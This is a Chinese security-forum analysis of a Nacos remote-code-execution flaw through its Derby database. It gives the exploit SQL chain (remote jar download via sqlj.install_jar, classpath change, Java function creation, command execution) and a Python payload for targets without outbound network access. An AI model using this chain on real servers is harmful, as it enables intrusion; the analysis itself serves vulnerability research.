问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Nacos 0day(derby+源码)分析 + 不出网利用
漏洞分析
从derby的sql语句和调用过程,以及nacos的java源码层面分析,外加不出网利用方式
Nacos 0day(derby+源码)分析 ====================== 本地部署,代码clone下来后,需要用mvn进行编译,这里最好设置镜像或代理,推荐设置代理 ![1.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-7434aa224d9f09587a365dd8cdf6d8f7a463463e.png) 配置启动 ![2.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-7441abeaac0fc959d67a3a11f32aef00766125a2.png) 查看自带derby数据库,`ij.bat`后 ```sql -- 默认在C:\Users\【用户名】\nacos\data\derby-data connect 'jdbc:derby:C:\Users\【用户名】\nacos\data\derby-data;create=true'; ``` 1. post\_sql分析 -------------- 根据已经存在的POC进行分析,可以发现代码首先发的一个请求包是,removal同时带上了参数,参数值就是我们变量`post_sql`的三行数据库代码 ![3.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-9b3846273e7b1e03161898b64fccb7adc252f3cf.png) ### 1.1 sqlj.install\_jar分析 ```sql CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0) -- 这里的service变量就是我们下载文件恶意jar包文件的地址,也就是http://127.0.0.1:5000/download,id为随机8个字母,所以可以等量替换如下 CALL sqlj.install_jar('http://127.0.0.1:5000/download', 'NACOS.{id}', 0) ``` 这里利用CALL指令执行了存储过程`sqlj.install_jar`,根据官方文档可知,这个存储过程的功能是将一个jar文件存储到数据库中 这个存储过程有三个参数: 1. jar文件地址,本地或远程都可 2. 在derby数据库中这个jar文件的名称,名称需要由模式(Schema)名称限定(可在SYSSCHEMAS表中确定) 3. 不重要,通常为0 文档地址:<https://db.apache.org/derby/docs/10.15/ref/> 这里为了更直观我翻译了一下,所以可能有些内容不太通顺 ![4.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-99f932fdd2a840ca6514cb7e5f1789abcd322dac.png) 在Derby数据库中,使用SQLJ.INSTALL\_JAR来安装JAR文件时,并不是简单地将JAR文件存储在文件系统的特定位置,而是将其存储在数据库本身的系统表中。 SQLJ.INSTALL\_JAR命令会将JAR文件的内容以二进制形式存储在Derby数据库的系统表`SYS.SYSFILES`中,同时在`SYS.SYSALIASES`表中创建对应的别名(alias)。 我们可以先查询一下`SYS.SYSFILES`和`SYS.SYSALIASES`这两个表 FILES为空 ![5.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-f474ecc9827c241cbbf0b1d956e231fb575dc69e.png) SYSALIASES目前为81条 ![6.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-6e1b8fccf6f509ee5de775a4dd3e187ec37e13de.png) 然后我这里改了下poc脚本,输出了一下post\_sql变量 ![7.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-9a9fa0cae9edfe765f8c52db3d817aff7ef26ee2.png) 然后执行一次我们的脚本,注意这里的后缀 ![8.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-517c8bcb8d9de516fbfee997e07487dba334ba8c.png) 看一下我们的`SYS.SYSFILES`表,可以看到之前的后缀为SYSFILES表中的文件名FILENAME,用于后续定位该文件 ![9.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-886002b665c17e9b2bce9b4a11882e3b29c53685.png) ### 1.2 SYSCS\_SET\_DATABASE\_PROPERTY分析 这个存储过程功能就是设置derby数据库中属性的值,我们对应的代码如下 ```sql CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}') ``` 上边代码所执行的功能是,将`derby.database.classpath`的属性设置为我们刚刚上传的jar文件的标识 正常情况下Derby数据库中是支持java类的,Derby 默认加载的是其自身的类路径,这包括 Derby 内置的一些 Java 类和函数,并不包括`sqlj.install_jar` 安装的 JAR 文件中的内容,所以我们想要执行`sqlj.install_jar` 安装的 JAR就需要利用`SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY` 来指定 Derby 的类路径,使其能够正确加载这些类。 ![10.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-cec3530bf2261320ff8ec9ca0c5b8aef6a586746.png) ### 1.3 CREATE FUNCTION相关代码 代码解释如下 ```sql -- 创建一个名为S_EXAMPLE_{id}的自定义函数 CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000) -- 定义函数的参数 ) RETURNS VARCHAR(2000) -- 返回值 PARAMETER STYLE JAVA -- 使用 JAVA 样式的参数传递方式 NO SQL -- 函数不执行SQL查询或更新操作 LANGUAGE JAVA -- 指定函数执行语言为Java EXTERNAL NAME 'test.poc.Example.exec'; -- 指定函数的具体实现在 Java 类 test.poc.Example 的 exec 方法中 ``` 为了对照,这里将service准备的payload还原为jar文件 ![11.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-897a694737d0c9d9323e50a0341e80317f8bbe76.png) 接着用jadx打开,这样理解就比较形象了 ![12.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-03ae1ef6746ab8f99e88c34cd7f50054ed3e4b64.png) 接着由于这行代码的执行,在我们的derby数据库的SYS.SYSALIASES表中,就已经存在这行数据了 ![13.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-4ad774e56defc414ca612f42ae8dd6da7e3a6eab.png) 其实这个时候我们执行如下代码, 就可以在derby数据库中调用这个存储过程了,达到调用指定java函数了功能了 ```sql -- 由于只是调用函数,在查询中不需要实际的数据表,这里可以用 SYSIBM.SYSDUMMY1特殊的系统表,用于执行一些无需实际数据表的查询操作 SELECT NACOS.S_EXAMPLE_YLGPGMAF('calc') FROM SYSIBM.SYSDUMMY1; ``` ![14.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-99a408c78233024e18f4f0aca5676b74eaa2231c.png) - - - - - - 2. get\_sql分析 ------------- ```sql SELECT * FROM ( -- 子查询:统计config_info表中的行数,并调用自定义函数S_EXAMPLE_{id}('{cmd}') 返回值作为别名为a SELECT COUNT(*) AS b, S_EXAMPLE_{id}('{cmd}') AS a FROM config_info ) tmp -- 子查询结束,命名为tmp /*ROWS FETCH NEXT*/ -- 注释 ``` 可以看到这是我们poc脚本中的代码,这里就有个问题了,像我之前举例那样就能执行函数了,为什么要写的这么复杂,这个原因就得对应下面具体代码分析了 3. /ops/derby代码分析 ----------------- 由于脚本调用了两个接口,get\_sql作为/ops/derby接口的参数调用,所以这里先分析下这个接口 代码如下,我们如果想利用漏洞,就需要让代码执行到下方红色框框起来的代码,但是前面有三个判断,所以盲猜上面的sql代码之所以写的那么复杂就与这三个if有关 ![15.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-a471a47aa9f65454bb8f686103c51b366ed84c47.png) 1. **首先第一个if,这个判断虽然跟sql没关系,但是也简单看一眼** ```java //这里我们要令代码不进入判断里面就应该确保DatasourceConfiguration.isEmbeddedStorage()为真,然后因为前面有!取反,所以为假,所以就不会走到return了,而DatasourceConfiguration.isEmbeddedStorage()是判断数据库是否为嵌入式存储,我们用的是derby,所以这里肯定为真,所以这个判断不会影响我们 if (!DatasourceConfiguration.isEmbeddedStorage()) { return RestResultUtils.failed("The current storage mode is not Derby"); } ``` 我们可以调试看一眼,为True没有问题 ![16.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-0868e4eebc4647bbdbef6946e13a4345dd94327c.png) 2. **第二个if** 由于我们上面说的红色框框起来的代码是在这个if循环体内,所以需要令第二个if值为真,这里它判断我们的sql参数,是否为select开头(忽略大小写) ![17.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-199dc728d18b8c9d173ad590bd3830f5810fe767.png) 3. **第三个if** ```java //这里可以看到,它判断了sql中是否包含limitSign,也就是ROWS FETCH NEXT,如果不包含则给我得sql后面加了点垃圾 if (!StringUtils.containsIgnoreCase(sql, limitSign)) { sql += limit; } ``` 接下来我们先看下这个垃圾是否影响我们运行,emmm,貌似不影响 ![18.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-51fa38790ffa2a41bed2856bfe869a9fb4dcffd2.png) 那么继续简化我们的这个代码,看看用我正常在数据库执行的那种方式可不可行,可以正常运行并得到返回值 ![19.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-2f60bf4aeb6c9d77c820dc53e13cea76c245fbac.png) 4. /data/removal代码分析 -------------------- 这个代码其实从表项看没什么分析的,因为它就执行了我们一开始传递的三个sql语句,但是因为这个漏洞是有限制的,所以还是要看一下 上来就看到一个if,这个if跟上面那个跟上面接口的第一个if是一个 ![20.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-8c5ad8db898fee8b18bc029d2b03283a2fcb2802.png) 既然又出现了一次,那这里我就仔细看看吧,我们之前说它是判断当前运行的环境,数据库是否为嵌入式存储,也就是判断是否为derby而不是mysql什么的,具体怎么判断的呢? 跟进到这个`isEmbeddedStorage`函数,返回值是DatasourceConfiguration这个类的`embeddedStorage`属性 ![21.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-e6fdaf1c8eb04472d9d2776cdd158304695c7c85.png) 这个属性值在这里 ![22.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-ae178afe717602fb445afd4948d4fc136d3415af.png) ok,那就看看getStandaloneMode返回的是个什么,返回的isStandalone, ![23.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-4f8694cbf70019130df4ca343aa9ccdb714a6eb7.png) 这里就不多做分析了,多放两张图就都明白了 ![24.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-39aa25f67e5c219baaad4c92a3cb785f1c64e1a2.png) 启动模式 ![25.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-ad99707fe365965fdf34cb1775699ded0c72df0d.png) 接着代码就没什么好分析的了,大概就是正常把我们sql值分割,然后执行的流程了,我就直接贴图了 ![26.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-f864b4d643fccaf47d35d3a0be635a1436865e20.png) 执行sql ![27.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-11fe77d1cce1cc257a9e2dfbfbd65d84d57e2924.png) 5. 不出网利用 -------- 我们整个利用过程其实需要服务器通过访问我们的攻击服务器的http服务,下载对应payload,所以这就延伸出来了一个问题,就是不出网利用,那么不出网利用能不能实现呢?思路就是sqlj.install\_jar存储jar文件到数据库的时候,这个jar文件地址不是指向远程而是指向nacos服务器本地,既然如此就需要找到一个方法先将payload存到本地,而derby数据库恰好是支持的 `SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE`这个调用过程可以将数据存到本地 ![28.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-ea0431a641bcb925ca36a32da21f86fcfcf18794.png) 于是将post\_sql改为如下代码 ![29.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-64a7ad672a4d4f558ad8ca1ee9a42fd78435d34b.png) ```python post_sql = """ CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values cast(X''{jar_hex}'' as blob)', './{id}', ',', '"', 'UTF-8', './{id}.jar')\n CALL SQLJ.INSTALL_JAR('./{id}.jar', 'NACOS.{id}', 0)\n CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service,jar_hex=jar_hex); ``` 这里第一行用到了`SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE`,其实第一个参数为我们的payload,第二个参数为生成的文本文件,最后一个参数就是生成的jar文件,所以执行后会生成两个文件,虽然我们只需要jar文件,但是第二个参数不能为空,本地实验设置为空会出错,包括文档里也写了,如果为空则会报错 ![30.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-8b7f3b236652d3a87f3f2bcdbda84c3928df9744.png) 那么我们最后肯定是会存到nacos服务器两个文件 ![31.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-01145db4b256bbb89a6811cd96a1016698afb39b.png) ok,可以正常执行 ![32.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-f7f875e7c015ee47242b22d8335a28e0f590234b.png)
发表于 2024-07-26 09:43:20
阅读 ( 5080 )
分类:
服务器应用
1 推荐
收藏
0 条评论
请先
登录
后评论
小惜渗透
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!